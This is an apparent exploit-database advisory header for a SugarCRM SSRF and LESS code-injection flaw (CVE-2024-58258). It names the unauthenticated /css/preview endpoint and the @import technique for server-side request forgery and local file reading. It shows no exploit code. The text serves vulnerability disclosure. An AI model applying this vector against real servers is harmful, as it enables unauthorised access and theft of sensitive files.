# Exploit Title : SugarCRM 14.0.0 – SSRF/Code Injection

# Author: Egidio Romano aka EgiX

# Email : [email protected]

# Software Link: https://www.sugarcrm.com

# Affected Versions: All commercial versions before 13.0.4 and 14.0.1.

# CVE Reference: CVE-2024-58258

# Vulnerability Description:

User input passed through GET parameters to the /css/preview REST API

endpoint is not properly sanitized before parsing it as LESS code. This can

be exploited by remote, unauthenticated attackers to inject and execute

arbitrary LESS directives. By abusing the @import LESS statement, an

attacker can trigger Server-Side Request Forgery (SSRF) or read arbitrary

local files on the web server, potentially leading to the disclosure of

sensitive information.
